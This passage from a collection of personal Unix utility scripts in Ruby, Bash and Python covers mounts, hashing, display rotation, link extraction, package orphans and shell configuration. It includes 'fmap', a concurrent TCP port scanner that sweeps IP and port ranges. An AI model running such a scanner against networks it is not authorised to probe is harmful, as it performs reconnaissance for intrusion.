= "windowraise" else action = "windowminimize" end cmd = ["xdotool"] other_windows.each do |w| cmd += [action, w.id.to_s] end if action == "windowraise" cmd += ["windowactivate", current_window.id.to_s] end unless system *cmd $stderr.puts "Command failed: #{cmd.inspect}" end <file_sep>#!/usr/bin/env ruby require 'epitools/colored' require 'epitools/term' ############################################################################################### class String def append_slash (self[0] != '/') ? "/"+self : self end end ############################################################################################### ############################################################################################### class Mount attr_accessor :dev, :path, :type, :options def initialize(line) @path, @dev, @type, @options = line.strip.split(' ') @options = @options.split(",") end def system? (path =~ %r{^/(sys|dev|proc|run/user|tmp)}) or dev == "systemd-1" end def to_s "<7>[<15>#{dev}<7>] <9>#{path}".colorize end end ############################################################################################### ############################################################################################### # # colorized puts # def cputs(*args) puts *args.map(&:colorize) end ############################################################################################### ############################################################################################### mounts = IO.popen(["findmnt", "--raw"]) { |io| io.drop(1).map { |line| Mount.new line } } grouped_mounts = mounts.reject(&:system?).group_by(&:type) ############################################################################################### ############################################################################################### grouped_mounts.each do |type, mounts| cputs "<8>== <14>#{type} <8>======================" table_entries = [] mounts.each do |mount| case type when "fuse.mergerfs" cputs "<8>* <13>#{mount.path}" table_entries += mount.dev.split(":").map { |src| "<8>[<11>#{src.append_slash}<8>]".colorize } else table_entries << mount end end puts Term::Table.new(table_entries, :sort=>:vertical, :ansi=>true).to_s puts end ###############################################################################################<file_sep>#!/bin/bash GTK_THEME=Adwaita:light "$@" <file_sep>#!/usr/bin/env ruby running = `uname -r`.strip package = "linux" if running =~ /(.+)-([a-z]+)$/ running = $1 package += "-#{$2}" end if which("xbps-query") elsif which("pacman") installed = `pacman -Qi #{package}`.each_line.grep(/Version/).first.strip.split(/\s+:\s+/).last elsif which("dpkg") raise "doesn't work with debian... yet" else raise "dunno which distro this is. please fix me!" end puts puts " Kernel: #{package}" puts " Running: #{running}" puts "Installed: #{installed}" puts if installed == running puts "\e[32m\e[1mEverything is fine.\e[0m" else puts "\e[31m\e[1mYou better reboot!\e[0m" end puts <file_sep>#!/usr/bin/env ruby ##################################################################################### require 'pp' require 'strscan' ##################################################################################### BLOCK_SIZE = 4096 ##################################################################################### def help puts "Usage:" puts " wrap [options] <filename>" puts puts "Options:" puts " -w<n> => set maximum line width to <n>" puts " -a => auto-set line width (using terminal size)" puts puts "(NB: this is basically the same as the unix 'fmt' command)" puts end ##################################################################################### class String def each_line_with_remainder(remainder="") return to_enum(:each_line_with_remainder, remainder) unless block_given? s = "" enum = each_line yield remainder + enum.next loop do s = enum.next if s[-1] == "\n" yield s else break end end s end end ##################################################################################### opts, args = ARGV.partition {|arg| arg =~ /^--?[\w\d+]+$/ } width = 80 for opt in opts case opt when /^-w(\d+)$/ width = $1.to_i when "-a" require 'io/console' _, width = STDIN.winsize width -= 1 when "-h", "--help" help exit else raise "Unrecognized option: #{opt}" end end p width if args.empty? f = $stdin else f = open(args.first, "r:utf-8") end ##################################################################################### remainder = "" words = [] chunk_re = /.{1,#{width}}(\s|$|)/m loop do data = f.read(BLOCK_SIZE) break unless data remainder = data.each_line_with_remainder(remainder) do |line| ss = StringScanner.new(line) while chunk = ss.scan(chunk_re) puts chunk end end end puts remainder <file_sep>#!/bin/bash if [ "$1" == "" ]; then echo "Purpose:" echo " Open an x11vnc over an SSH tunnel on localhost:5900" echo echo "Usage:" echo " ssh-vnc user@host" echo exit 1 fi USERHOST="$1" # VNC="x11vnc -display :0.0 -localhost -ncache_cr -ncache 10 -noxdamage" VNC="x11vnc -display :0.0 -localhost" # -ncache_cr -ncache 10" ssh -C -t -L5900:localhost:5900 $USERHOST "$VNC" & sleep 4 # vncviewer -encodings 'copyrect tight zrle hextile' localhost vncviewer -geometry 1600x800 localhost # in case x11vnc doesn't shut down automatically kill `jobs -p` <file_sep>#!/usr/bin/env ruby ################################################################ require 'digest' require 'zlib' ################################################################ module Digest class CRC32 < Digest::Class def initialize reset end def reset @crc = 0 end def update(str) @crc = Zlib::crc32_combine(@crc, Zlib::crc32(str), str.size) end alias << update def digest_length; 4; end def finish; [@crc].pack("N"); end end end ################################################################ HASHERS = { "--crc" => Digest::CRC32, "--md5" => Digest::MD5, "--sha1" => Digest::SHA1, "--sha256" => Digest::SHA256, "--sha512" => Digest::SHA512, } DEFAULTS = ["--md5", "--sha1", "--sha256"] ################################################################ BLOCKSIZE=2**16 # 64k read size ################################################################ def usage puts "Usage:" puts " #{File.basename __FILE__} <hashers...> [<file(s)...>]" puts puts "Purpose:" puts " Hashes data streamed through a pipe to STDIN, or files specified on the command line." puts " The computed hash(es) are output to STDERR." puts puts "Options/Hashers:" HASHERS.each do |opt, klass| puts " #{opt.ljust(10)} => #{klass}" end puts " -a / --all => All of the above!" puts puts " -p / --parallel => Compute each hash in its own process (uses multiple CPUs)" puts puts "(Note: Defaults to #{DEFAULTS.join(", ")} if no hashers specified)" puts puts "Example:" puts " curl http://hostname.website/file.iso | pipesum --sha1 > file.iso" puts end ################################################################ opts, args = ARGV.partition { |arg| arg[/^--?\w/] } if opts.delete("--help") or opts.delete("-h") usage exit end opts += DEFAULTS if opts.empty? if opts.delete("--all") or opts.delete("-a") opts += HASHERS.keys end ################################################################ def sum(digests, input, output=nil, messages=$stderr, parallel=false) if parallel puts "ERROR: Parallel mode not yet implemented." exit 1 end while data = input.read(BLOCKSIZE) digests.each {|digest| digest << data } output.write(data) if output end digests.each do |digest| algo = digest.class.to_s.split("::").last messages.puts "#{algo.rjust(9)}: #{digest}" end output.close if output end def create_digests(opts) opts.uniq.map do |opt| if klass = HASHERS[opt] klass.new else puts "Unrecognized option: #{opt}" exit 1 end end end require 'epitools' if args.any? paths = args.flat_map do |arg| path = arg.to_Path if path.dir? path.ls else path end end paths.each do |path| # puts "=== #{path} =========================================" puts path puts "#{"size".rjust(9)}: #{path.size.commatize} bytes" digests = create_digests(opts) begin open(path, "rb") { |f| sum(digests, f, nil, $stdout) } rescue => e puts " #{e.inspect}" end puts end else parallel = (opts.delete("--parallel") or opts.delete("-p")) sum(create_digests(opts), $stdin, $stdout, $stderr, parallel) end <file_sep>#!/usr/bin/ruby require 'rubygems' require 'RRDiff' # The first process is to create a signature for the oldfile. The # parameters are the original file and where you want to store # the signature file. # # RRDiff.signature("oldfile", "sigfile") # Then from the newfile and the sigfile generate a delta. Deltafile # is where the delta is stored. # # RRDiff.delta("newfile", "sigfile", "deltafile") # Finally, apply the deltafile to the oldfile to create the patchedfile # which should be equivalent to newfile. # # RRDiff.patch("oldfile", "deltafile", "patchedfile") command = ARGV.shift case command when "sig", "fingerprint" fn = ARGV.shift puts "Generating signature for #{fn}" RRDiff.signature(fn, fn+".sig") when "diff", "delta" fn, sig = ARGV puts "Generating patch for #{fn}" RRDiff.delta(fn, sig, fn+".patch") when "patch", "apply" fn, patch = ARGV puts "Backing up #{fn} to #{fn}.backup" File.rename(fn, "#{fn}.backup") puts "Applying patch from #{patch}..." RRDiff.patch("#{fn}.backup", patch, fn) end <file_sep>#!/usr/bin/env ruby ####################################################### ## Uses 'netstat' and 'fuser' to show all programs ## that are listening on TCP/UDP ports. ####################################################### # show a fancy title def title(msg, width=60) puts "-"*width puts " " + msg puts "="*width end ####################################################### ## gather open ports from 'netstat' ####################################################### # regexes to match netstat output IP4LINE = /^(tcp|udp)\s+\d+\s+\d+\s+([\d\.]+):(\d+)\s+/ IP6LINE = /^(tcp|udp)6\s+\d+\s+\d+\s+([\w\d:]+):(\d+)\s+/ ports = `netstat -ln`.lines.map { |line| [$3.to_i, $1] if line =~ IP4LINE or line =~ IP6LINE }.compact ####################################################### ## display programs which are listening using 'fuser' ####################################################### title "Listening sockets (IPv4 & IPv6):" params = ports.sort.uniq.map { |port,proto| "#{port}/#{proto}" } IO.popen(["fuser", "-v", *params], err: [:child, :out]) do |fuser| errors = [] fuser.each_line do |line| if line =~ %r{Cannot stat file /proc/(\d+)/.+} errors << $1 else puts line end end mystery_ports = ports.select { |port| errors.include? port } puts puts "Inaccessible pids:" system("ps", *errors) end puts <file_sep>#!/usr/bin/env ruby require 'epitools' args = ARGV if args.empty? puts "usage: rtspdump rtsp://<stuff>" exit 1 end args.each do |arg| url = URI.parse(arg) outfile = url.path.split("/").last cmd = [ "ffmpeg", "-use_wallclock_as_timestamps", "1", "-i", url, "-c", "copy", outfile ] p cmd raise "Error" unless system *cmd end<file_sep>#!/bin/bash if [ "$1" == "" ]; then echo "usage: ssl-fingerprint <cert.pem>" else openssl x509 -in "$1" -noout -fingerprint -sha1 fi <file_sep>#!/usr/bin/env python2 from socket import * import sys PROTOCOLS = { "tcp": SOCK_STREAM, "udp": SOCK_DGRAM } if __name__ == "__main__": if len(sys.argv) < 2: print "Usage: fixport [<hostname>:]<port>" sys.exit() for arg in sys.argv[1:]: if arg.rfind(":") >= 0: host, port = arg.split(":") else: host, port = '', arg port = int(port) for proto_name, protocol in PROTOCOLS.items(): print "* Unborking %s/%s..." % (port, proto_name) s = socket(AF_INET, SOCK_STREAM) s.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1) s.bind((host, port)) s.close() <file_sep>#!/usr/bin/env ruby require 'rubygems' require 'nokogiri' require 'open-uri' require 'uri' require 'epitools' module URI # # Strip out params with blank values. # alias_method :old_params, :params def params old_params.delete_if { |k,v| v.blank? } end end def strip_trackers(url) uri = URI.parse(url) if uri.host =~ /google.\w{2,3}$/ and uri.path == "/url" uri.params["url"] || uri.params["q"] elsif uri.host =~ /facebook\.com$/ and uri.path == "/l.php" uri.params["u"] elsif uri.host =~ /evernote\.com$/ and uri.path == "/OutboundRedirect.action" uri.params["dest"] else uri end.to_s end def absolute_uri(root, url) #pp [:url_join, root, url] URI.join(root, URI.escape(url)).to_s end def get_page(url) #$stderr.puts "Loading #{url.inspect}..." Nokogiri::HTML(open(url)) end def relative_url?(url) URI.join(url, url) false rescue URI::BadURIError true end def get_links(url) page = get_page(url) root_is_relative = relative_url?(url) result = { :links => page.search("a").map { |a| linkurl = a["href"] }.squash, :embeds => page.search("embed").map { |embed| linkurl = embed["src"] #if embed["type"].in? %w(application/x-mplayer2) }.squash, :images => page.search("img").map { |img| linkurl = img["src"] }.squash, :enclosures => page.search("enclosure").map { |e| linkurl = e["url"] }.squash, } result.map_values! { |links| links.map { |linkurl| absolute_uri(url, linkurl) } } unless root_is_relative result.map_values! { |links| links.map { |link| strip_trackers link } } result[:emails] = result[:links].select{|v| v["mailto:"]} result[:links] -= result[:emails] result end if ARGV.empty? puts puts "Usage: getlinks <url1|file1> [<url2|file2>, ...]" puts puts "Purpose:" puts " Returns all the HREFs from the <a href=\"\"> tags in the specificed" puts " url(s). The links are output to STDOUT, while the status information" puts " is output to STDERR, so you can pipe the links to 'grep' and/or" puts " 'xargs wget'." puts puts "Example:" puts " getlinks http://something.com/stuff.html | egrep '\.zip$' | xargs wget" puts else ARGV.each do |arg| $stdout.puts "### #{arg}" for category, links in get_links(arg) next if links.empty? $stdout.puts "# #{category}" links.each { |link| puts link } puts end end end <file_sep>#!/bin/bash bfs -color -printf "%7kK %TY-%Tm-%Td %p\n" |& less -SR <file_sep>#!/bin/bash if (( $# != 3 )); then echo "usage: resize infile.jpg 100x100 outfile.jpg" exit fi INFILE="$1" SIZE="$2" OUTFILE="$3" convert "$INFILE" -filter Lanczos -distort Resize "$SIZE" -quality 95 "$OUTFILE" <file_sep>#!/bin/bash pkg search "$@" | grep -i --color=always "$@" | less -XFSRi <file_sep>#!/usr/bin/env ruby # encoding: BINARY ################################################################# ## For author info, scroll to the end of this file. ################################################################# ################################################################# ## Load Modules require 'rubygems' require 'set' require 'epitools' ################################################################# ################################################################# ## Settings MAX_LINE_LENGTH = 1000 IGNORE_PATHS = Set.new([".svn", ".git", "CVS"]) configfile = Path["~/.grc.json"] config = configfile.parse config["download_path"] ||= "~/Downloads" DOWNLOAD_PATH = Path[config["download_path"]] configfile.write(config.to_json) ################################################################# ################################################################# ## Display Help (if requested) if ["--help", "-h"].include?(ARGV[0]) or ARGV.size == 0 puts DATA.read exit end ################################################################# ################################################################# ## Parse Commandline query = Regexp.new(Regexp.escape(ARGV.shift), Regexp::IGNORECASE) roots = (ARGV.any? ? ARGV : ['.']). map{ |path| Path[path] }. select { |path| path.exists? || STDERR.puts("Error: #{path} doesn't exist") } ################################################################# ################################################################# ## Grep files/display results def old_breadth_first_file_scan(root, &block) if root.file? yield root return end files = [] dirs = [] root.children.sort.each do |entry| if entry.directory? dirs << entry unless IGNORE_PATHS.include? entry.basename.to_s else files << entry end end files.each { |file| yield file } # files dirs.each { |dir| breadth_first_file_scan(dir, &block) } end ################################################################# ## NEW path scanner def slashed(path) path[-1] == ?/ ? path : (path + "/") end def listdir(root) root = slashed(root) dirs = Dir.glob("#{root}*/", File::FNM_DOTMATCH) files = Dir.glob("#{root}*", File::FNM_DOTMATCH) dirs_without_slashes = dirs.map{|dir| dir[0...-1]} files = files - dirs_without_slashes # remove dirs from file list # drop the "." and ".." dirs dirs = dirs.select { |dir| not dir =~ %r{/\.{1,2}/} } # strip #{root} from paths dirs, files = [dirs,files].map do |list| list.map { |f| f[root.size..-1] } end [dirs, files] end $visited = {} # visited paths, to avoid symlink-loops def breadth_first_scan(root, &block) root = slashed(root) dirs, files = listdir(root) path_id = File.lstat(root).ino if seenpath = $visited[path_id] STDERR.puts "*** WARNING: Already seen #{root.inspect} as #{seenpath.inspect}".red if $verbose else $visited[path_id] = root dirs.each { |f| yield root, f } files.each { |f| yield root, f } for dir in dirs breadth_first_scan(root+dir, &block) end end end ################################################################# def grep_file(path, query, &block) open(path, "rb") do |f| f.each_with_index do |line, n| if line =~ query yield(line,n+1) end end end rescue => e #STDERR.puts e end lesspipe do |less| roots.each do |root| begin breadth_first_scan(root.to_s) do |root, path| unless path[-1] == ?/ grep_file(File.join(root,path), query) do |line,n| less.puts "#{path.magenta} #{n.to_s.green}#{":".blue}#{line.highlight(query)}" end end end rescue Interrupt # eat ^C exit(1) end end end ################################################################# ################################################################# ## Help message (will be put in the DATA array) __END__ "g" (c) 2002-2008 by <NAME> (<EMAIL>) Usage: g <search string> => recursively grep all files in current directory containing <search string> g <search string> <paths> => recursively grep all files in <paths> containing <search string> (Note: To colorize the search results, install the "colorize" gem.) <file_sep>#!/usr/bin/env ruby gem 'slop', "~> 3.6" require 'slop' def parse_options opts = Slop.parse(help: true, strict: true) do banner "Usage: rotate [options]" on 'l', 'left', 'Rotate left' on 'r', 'right', 'Rotate right' on 'n', 'normal', 'Normal rotation' on 'u', 'upside-down', 'Upside-down rotation' end [opts, ARGV] end opts, args = parse_options # "DVI-D-0 connected primary 1920x1080+0+0 (normal left inverted right x axis y axis) 598mm x 336mm" # "DVI-D-0 connected primary 1080x1920+0+0 left (normal left inverted right x axis y axis) 598mm x 336mm" # "DVI-D-0 connected primary 1920x1080+0+0 inverted (normal left inverted right x axis y axis) 598mm x 336mm" devs = `xrandr`.scan /^(\S+) connected (?:primary )?(\d+x\d+)\+(\d+\+\d+) (left|right|inverted|) ?\(/ unless devs.any? raise "Error: Couldn't find any connected devices, or couldn't parse the xrandr output" end devs.each do |output, res, offset, rotation| # p [output, res, offset, rotation] rotation = "normal" if rotation == "" new_rotation = if opts.left? "left" elsif opts.right? "right" elsif opts.normal? "normal" elsif opts[:u] "inverted" elsif rotation == "normal" "right" elsif rotation == "right" "normal" end puts "* Rotating #{output} from '#{rotation}' to '#{new_rotation}'" cmd = ["xrandr", "--output", output, "--rotate", new_rotation] # p cmd system *cmd end <file_sep>#!/usr/bin/env ruby ######################################################## require 'epitools' gem 'slop', "~> 3.6" require 'slop' ######################################################## ######################################################## # Parse options opts = Slop.parse(help: true, strict: true) do banner "Usage: fmap [options]" on "r=", "range", "IP Range (eg: x.x.x.x-y.y.y.y)" # TODO: support CIDR ranges on "p=", "ports", "Port range (eg: xxxx-yyyy)", default: 80 on "t=", "timeout", "Timeout", default: 3 on "v", "verbose", "Be noisy" end args = ARGV ######################################################## unless opts[:range] and opts[:ports] puts "Error: Must specify IP and port ranges" puts puts opts exit 1 end a, b = opts[:range].split("-").map { |ip| IPAddr.new(ip) } if a and b ips = (a..b).to_a.map(&:to_s) else ips = [a.to_s] end a, b = opts[:ports].split("-").map(&:to_i) if a and b ports = (a..b).to_a else ports = [a] end timeout = opts[:timeout].to_i puts "Scanning #{opts[:range]}:#{opts[:ports]} (timeout: #{timeout.inspect})" JobRunner.new do |jr| ips.each do |ip| ports.each do |port| jr.add do begin Timeout::timeout(timeout) do ip = ip.to_s unless ip.is_a?(String) # wat? socket = TCPSocket.new(ip, port) socket.close [ip, port, :success] end rescue Timeout::Error [ip, port, :timeout] rescue Errno::ECONNREFUSED [ip, port, :refused] rescue Errno::EHOSTUNREACH [ip, port, :unreachable] end end end end jr.each_result do |ip, port, result| case result when :success puts "#{ip}:#{port} CONNECTED".green when :timeout, :unreachable puts "#{ip}:#{port} #{result}".grey if opts.verbose? when :refused puts "#{ip}:#{port} refused".red else puts "#{ip}:#{port} #{result}" end end end <file_sep>#!/usr/bin/env ruby ######################################################## require 'epitools' gem 'slop', "~> 3.6" require 'slop' ######################################################## ######################################################## # Parse options opts = Slop.parse(help: true, strict: true) do banner "Usage: split [options] <file>" on "d=", "delimiter", "What to split on (regexp)" on "b", "before", "Before the delimiter" on "a", "after", "After the delimiter (default)" on "r", "remove", "Remove everything (before/after) delimiter" end args = ARGV if args.empty? puts "Error: Supply a filename please!" puts puts opts exit 1 end ######################################################## path = Path[args.first] lines = path.each_line split_re = Regexp.new opts[:delimiter] if opts.before? a, b = lines.split_before(split_re) a.each { |line| puts line } else a, b = lines.split_after(split_re) b.each { |line| puts line } end <file_sep>#!/bin/bash if [ "$1" == "" ]; then echo "usage: fastest-mirror" exit 1 fi reflector --sort delay <file_sep>#!/usr/bin/env ruby unless ARGV.any? puts "usage: fixm4a <file.m4a>" exit 1 end ARGV.each do |arg| unless File.exists?(arg) puts "File not found: #{arg}" next end fixed = "fixed-#{arg}" puts "* Fixing #{arg.inspect}" cmd = ["ffmpeg", "-i", arg, "-acodec", "copy", "-movflags", "faststart", fixed] unless system(*cmd) puts "Error fixing file." next end unless system("x", "--copy", arg, fixed) puts "Error copying metadata." next end File.rename(fixed, arg) end # #!/bin/bash # if [ -f "$1" ]; then # ffmpeg -i "$1" -acodec copy -movflags faststart fixed-"$1" # x --copy "$1" fixed-"$1" # # mv "$1" "$1".bak # mv fixed-"$1" "$1" # else # echo "usage: fixm4a <file.m4a>" # fi <file_sep>#!/bin/bash instmon --remove-files `instl | grep -i $1` --remove-log <file_sep>#!/bin/bash if [ "$1" == "" ]; then pkg info | less -XFSi else pkg info -l "$@" | less -XFSi fi <file_sep>#!/bin/bash if (( $# < 1 )); then echo "usage: tomkv <files...>" else vid-copy "$@" .mkv fi <file_sep>#!/usr/bin/env ruby require 'set' ############################################################################# ## Convenience methods class String def startswith(thing) self[0...thing.size] == thing end def cleanup split(" ", 2).last.chomp.chomp("/") end def type if File.directory? self "dir" elsif File.symlink? self "symlink" elsif File.file? self "file" end end def with_slash File.directory?(self) ? "#{self}/" : self end end ############################################################################# ## Sanity check the arguments dir = ARGV.first unless dir puts "usage: #{__FILE__} <directory>" exit end unless File.exists? dir puts "Error: #{dir} not found" exit 1 end ############################################################################# ## Find the orphans... dir = File.absolute_path dir localfiles = Set.new `find #{dir}`.split("\n") # localfiles = Set.new Dir["#{dir}/**/*"] $stderr.puts "in #{dir}: #{localfiles.size} files" $stderr.print "in packages: " # pkgfiles = Set.new `pacman -Ql | grep -E ' #{dir}' | cut -d ' ' -f 2`.split("\n") pkgfiles = IO.popen("pacman -Ql") do |inp| Set.new inp.map(&:cleanup).select { |path| path.startswith dir } end $stderr.puts "#{pkgfiles.size} files" $stderr.puts "\norphans (not in packages):" (localfiles - pkgfiles).each { |o| puts o.with_slash } $stderr.puts "\nmissing (no longer on filesystem):" (pkgfiles - localfiles).each { |f| puts f.with_slash } <file_sep>#!/bin/bash cd ~/scripts #wget http://winetricks.org/winetricks -O winetricks wget http://winetricks.googlecode.com/svn/trunk/src/winetricks -O winetricks chmod +x winetricks <file_sep>#!/bin/bash python dumplog-0.0.1/dumplog.py -u epitron -n Freenode -c $1 -o $1.log <file_sep>#!/bin/bash # The directory from which this script is being called SCRIPTDIR="$( cd "$( dirname "${BASH_SOURCE[0]}" )" && pwd )" # Aliases source "$SCRIPTDIR/aliases.sh" ## Environment Variables # "cd <somedir>" will try to "cd <somedir>" in the current directory, but if <somedir> doesn't exist, it'll try "cd ~/<somedir>" # export CDPATH=:~ # Prepend a directory to the path (if it exists) function possibly_prepend_path() { if [ -d "$@" ]; then export PATH="$@:$PATH" fi } # Append a directory to the path (if it exists) function possibly_append_path() { if [ -d "$@" ]; then export PATH="$PATH:$@" fi } # Things for the PATH (in reverse order of precedence) possibly_append_path ~/opt/graal/bin possibly_prepend_path ~/.fzf/bin possibly_prepend_path ~/perl5/bin possibly_prepend_path ~/.nimble/bin possibly_prepend_path ~/.pub-cache/bin possibly_prepend_path ~/.luarocks/bin possibly_prepend_path ~/node_modules/.bin possibly_prepend_path ~/.cabal/bin possibly_prepend_path ~/.cargo/bin possibly_prepend_path ~/go/bin for i in ~/.gem/ruby/*/bin ~/.local/share/gem/ruby/*/bin; do possibly_prepend_path $i done possibly_prepend_path ~/.gem/bin for gempath in /usr/lib/ruby/gems/*/bin; do possibly_prepend_path $gempath done possibly_prepend_path ~/.local/bin possibly_prepend_path $SCRIPTDIR possibly_prepend_path ~/bin # Lovely less/man colors #export LESS_TERMCAP_mb="`echo -e '\e[01;31m'`" #export LESS_TERMCAP_md="`echo -e '\e[01;37m'`" #export LESS_TERMCAP_me="`echo -e '\e[0m'`" #export LESS_TERMCAP_se="`echo -e '\e[0m'`" #export LESS_TERMCAP_so="`echo -e '\e[30;44m'`" #export LESS_TERMCAP_ue="`echo -e '\e[0m'`" #export LESS_TERMCAP_us="`echo -e '\e[01;32m'`" # bat-man if we_have bat; then export MANPAGER="sh -c 'col -bx | bat -l man -p'" fi # fzf if we_have fzf || [ -f ~/.fzf/bin/fzf ]; then if we_have bfs; then export FZF_DEFAULT_COMMAND="bfs -color" export FZF_CTRL_T_COMMAND="$FZF_DEFAULT_COMMAND" export FZF_DEFAULT_OPTS="--ansi" fi _fzf_loaded=false for i in ~/.fzf/shell /usr/share/fzf /usr/local/share/examples/fzf/shell /data/data/com.termux/files/usr/share/fzf /usr/share/doc/fzf; do if [ "$_fzf_loaded" == "false" ]; then if [ -f "$i/completion.bash" ]; then . $i/completion.bash . $i/key-bindings.bash _fzf_loaded=true fi fi done if [ "$_fzf_loaded" == "false" ]; then echo "can't find fzf's bash scripts" fi fi # misc if [ "$EDITOR" == "" ]; then export EDITOR="nano" fi export PAGER=less export CLICOLOR=1 export PYTHONSTARTUP=~/.pystartup export XZ_OPT="--threads=0" #export TERM=xterm-color #export LSCOLORS=gxgxcxdxbxegedabagacad # cyan directories if [ -f /proc/cpuinfo ]; then export PROCESSORS="`cat /proc/cpuinfo|grep "processor"|wc -l`" export MAKEOPTS="-j`expr $PROCESSORS + 1`" export MAKEFLAGS="$MAKEOPTS" fi # Don't put duplicate lines or lines starting with space in the history export HISTCONTROL=ignoreboth ## Bash options # Check the window size after every command and update LINES and COLUMNS (fixes readline misbehaviour) shopt -s checkwinsize # Verify ! history expansions shopt -s histverify # Append to the Bash history file, rather than overwriting it shopt -s histappend # disable history subtitution (able to use "!" without escaping it) set +H # Case-insensitive globbing (used in pathname expansion) # shopt -s nocaseglob # Autocorrect typos in path names when using `cd` # shopt -s cdspell ## Bash >= 4 options # Enable recursive glob (eg: **/*.txt) shopt -s globstar 2> /dev/null # `autocd`, e.g. `**/qux` will enter `./foo/bar/baz/qux` shopt -s autocd 2> /dev/null ## Platform-specific customizations case $(uname -s) in Darwin|FreeBSD) . $SCRIPTDIR/bashrc.bsd export PATH=$SCRIPTDIR/bsd:$PATH ;; OpenBSD) . $SCRIPTDIR/bashrc.openbsd export PATH=$SCRIPTDIR/bsd:$PATH ;; esac case $(uname -o) in Android) . $SCRIPTDIR/bashrc.android export PATH=$SCRIPTDIR/android:$PATH ;; Cygwin) . $SCRIPTDIR/bashrc.cygwin export PATH=$SCRIPTDIR/cygwin:$PATH ;; esac ## Disable TTY flow control (^S and ^Q) #stty stop undef #stty start undef # # Run a command without globbing (broken) # noglob_helper() { # "$@" # case "$shopts" in # *noglob*) ;; # *braceexpand*) ;; # *) set +f ;; # esac # unset shopts # } # alias noglob='shopts="$SHELLOPTS"; set -f; noglob_helper' # colorful manpages # man() { # env \ # LESS_TERMCAP_mb=$(printf "\e[1;33m") \ # LESS_TERMCAP_md=$(printf "\e[1;36m") \ # LESS_TERMCAP_me=$(printf "\e[0m") \ # LESS_TERMCAP_se=$(printf "\e[0m") \ # LESS_TERMCAP_so=$(printf "\e[1;44;33m") \ # LESS_TERMCAP_ue=$(printf "\e[0m") \ # LESS_TERMCAP_us=$(printf "\e[1;38m") \ # man "$@" # } <file_sep>#!/usr/bin/ruby puts "=====================================" puts " Underscorize_v_0.000000001" puts "--------------------------------------" opts, args = ARGV.partition { |arg| arg[/^--?\w+/] } if args.empty? puts "Purpose:" puts " Replace spaces with underscores in filenames." puts puts "Usage:" puts " underscorize <options> [filenames...]" puts puts "Options:" puts" -s Create a symbolic link instead of renaming" puts exit end for fn in args new_fn = fn.gsub(' ', '_') if fn == new_fn puts %{ - Skipping "#{fn}"} elsif not File.exists? fn puts %{! cannot find file: "#{fn}"} else if File.exists? new_fn puts %{ - Skipping "#{fn}" ("#{new_fn}" already exists) } else if opts.include? "-s" puts %{* Symlinking "#{fn}" -> "#{new_fn}"} File.symlink fn, new_fn else puts %{* Renaming "#{fn}" -> "#{new_fn}"} File.rename fn, new_fn end end end end puts <file_sep>require 'minitest/autorun' require_relative 'deps' def exits_with_code(exitcode, &block) fork(&block) Process.wait assert_equal $?.exitstatus, exitcode end describe "deps" do it "bin_deps" do assert bin_deps("ls") capture_io do exits_with_code(1) { bin_deps("this_binary_does_not_exist") } end end it "which" do assert which("ls") assert !which("jasdfjaswerawerh") end it "dsls" do deps do bin "ls", arch: "binutils", deb: "", rpm: "" gem "blah" end end end<file_sep>#!/usr/bin/env ruby ################################################################### require 'json' require 'date' require 'io/console' require 'epitools/colored' ################################################################### SEARCH_URL = "https://crates.io/api/v1/crates?q=%s&per_page=%d" INFO_URL = "https://crates.io/api/v1/crates/%s" ################################################################### class String def tighten; gsub(/[\t ]+/,' ').strip; end def any?; not empty?; end def indent(prefix=" ") gsub(/^/m, prefix) end def commatize gsub /(\d)(?=\d{3}+(?:\.|$))(\d{3}\..*)?/, "\\1,\\2" end end class Integer def commatize; to_s.commatize; end end ################################################################### def help! puts "usage:" puts " $ #{$PROGRAM_NAME} <search query>" puts " (searches all crates)" puts puts " $ #{$PROGRAM_NAME} -i <crate name>" puts " (shows detailed info about a crate)" puts exit 1 end ################################################################### def curl(url) html = IO.popen(["curl", "-Ss", url], &:read) rescue Errno::ENOENT puts "Error: 'curl' isn't installed. You need this!" exit 1 end def curl_json(url) rs = JSON.parse(curl(url)) if e = rs["errors"] puts "Error:".light_red puts e.inspect.indent(4) exit 1 end rs end def format_date(date) date.strftime("%b %d, %Y") end def nicedate(date) format_date DateTime.parse(date) end def print_crate_info(name) # { # "categories": [ # { # "category": "Command line utilities", # "crates_cnt": 3666, # "created_at": "2017-01-17T19:13:05.112025+00:00", # "description": "Applications to run at the command line.", # "id": "command-line-utilities", # "slug": "command-line-utilities" # } # ], # "crate": { # "badges": [ # # ], # "categories": [ # "command-line-utilities" # ], # "created_at": "2019-08-25T10:54:06.138012+00:00", # "description": "clean simple fast process viewer", # "documentation": null, # "downloads": 2527, # "exact_match": false, # "homepage": "https://nessuent.xyz/bb.html", # "id": "bb", # "keywords": [ # "top", # "processes", # "ps", # "process" # ], # "links": { # "owner_team": "/api/v1/crates/bb/owner_team", # "owner_user": "/api/v1/crates/bb/owner_user", # "owners": "/api/v1/crates/bb/owners", # "reverse_dependencies": "/api/v1/crates/bb/reverse_dependencies", # "version_downloads": "/api/v1/crates/bb/downloads", # "versions": null # }, # "max_stable_version": "0.4.3", # "max_version": "0.4.3", # "name": "bb", # "newest_version": "0.4.3", # "recent_downloads": 123, # "repository": "https://github.com/epilys/bb.git", # "updated_at": "2020-11-04T22:18:38.293968+00:00", # "versions": [ # 301988, # 301536, # 290280, # 186864, # 186236, # 185260, # 185172, # 185162, # 171743 # ] # }, # "keywords": [ # { # "crates_cnt": 4, # "created_at": "2018-08-28T19:57:03.101679+00:00", # "id": "top", # "keyword": "top" # }, # { # "crates_cnt": 5, # "created_at": "2019-03-25T08:32:36.336873+00:00", # "id": "processes", # "keyword": "processes" # }, # { # "crates_cnt": 3, # "created_at": "2019-10-25T22:29:00.463702+00:00", # "id": "ps", # "keyword": "ps" # }, # { # "crates_cnt": 108, # "created_at": "2015-08-15T17:16:53.296634+00:00", # "id": "process", # "keyword": "process" # } # ], # "versions": [ # { # "audit_actions": [ # { # "action": "publish", # "time": "2020-11-04T22:18:38.293968+00:00", # "user": { # "avatar": "https://avatars.githubusercontent.com/u/8278356?v=4", # "id": 53759, # "login": "epilys", # "name": "<NAME>", # "url": "https://github.com/epilys" # } # } # ], # "crate": "bb", # "crate_size": 144736, # "created_at": "2020-11-04T22:18:38.293968+00:00", # "dl_path": "/api/v1/crates/bb/0.4.3/download", # "downloads": 418, # "features": { # }, # "id": 301988, # "license": "GPL-3.0-or-later", # "links": { # "authors": "/api/v1/crates/bb/0.4.3/authors", # "dependencies": "/api/v1/crates/bb/0.4.3/dependencies", # "version_downloads": "/api/v1/crates/bb/0.4.3/downloads" # }, # "num": "0.4.3", # "published_by": { # "avatar": "https://avatars.githubusercontent.com/u/8278356?v=4", # 